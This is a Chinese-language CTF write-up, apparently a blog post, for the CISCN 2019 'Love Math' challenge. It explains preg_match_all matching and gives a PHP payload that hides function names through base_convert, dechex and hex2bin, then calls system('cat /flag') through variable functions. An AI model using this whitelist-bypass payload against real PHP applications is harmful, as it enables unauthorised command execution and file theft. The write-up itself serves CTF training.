BUU-[CISCN 2019 初赛]Love Math

preg_match_all()函数

. 真实的执行逻辑:指针移动
preg_match_all 不会修改你的原字符串 $content。它的逻辑是这样的:

初始状态:指针指向字符串的开头(位置 0)。

寻找匹配:从指针位置开始往后找,直到发现符合正则的内容。

捕获内容:一旦匹配成功(比如抓到了 echo),它会记录下这个结果。

跳过并更新指针:它会把指针移动到刚匹配完的内容之后。

循环往复:从新指针位置继续寻找,直到字符串末尾。

$_GET{a}照样可以正常工作

解析正确的payload

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{abs})&pi=system&abs=cat /flag

  1. base_convert(37907361743,10,36) 返回值为hex2bin
  2. dechex(1598506324) 返回值为5f474554
  3. 组合起来就是hex2bin(5f474554) 返回值为_GET
  4. 也就是$pi="_GET"
  5. $$pi{pi}="$_GET{pi}"
  6. $$pi{abs}="$_GET{abs}"
  7. ("$_GET{pi}")("$_GET{abs}") 这是一个PHP可变函数:如果一个字符串, 其值和函数名相同, 并且其后跟着(), 那么PHP对将其视为函数进行调用

posted on 2026-01-31 21:20  misaki%20mei  阅读(0)  评论(0)    收藏  举报

导航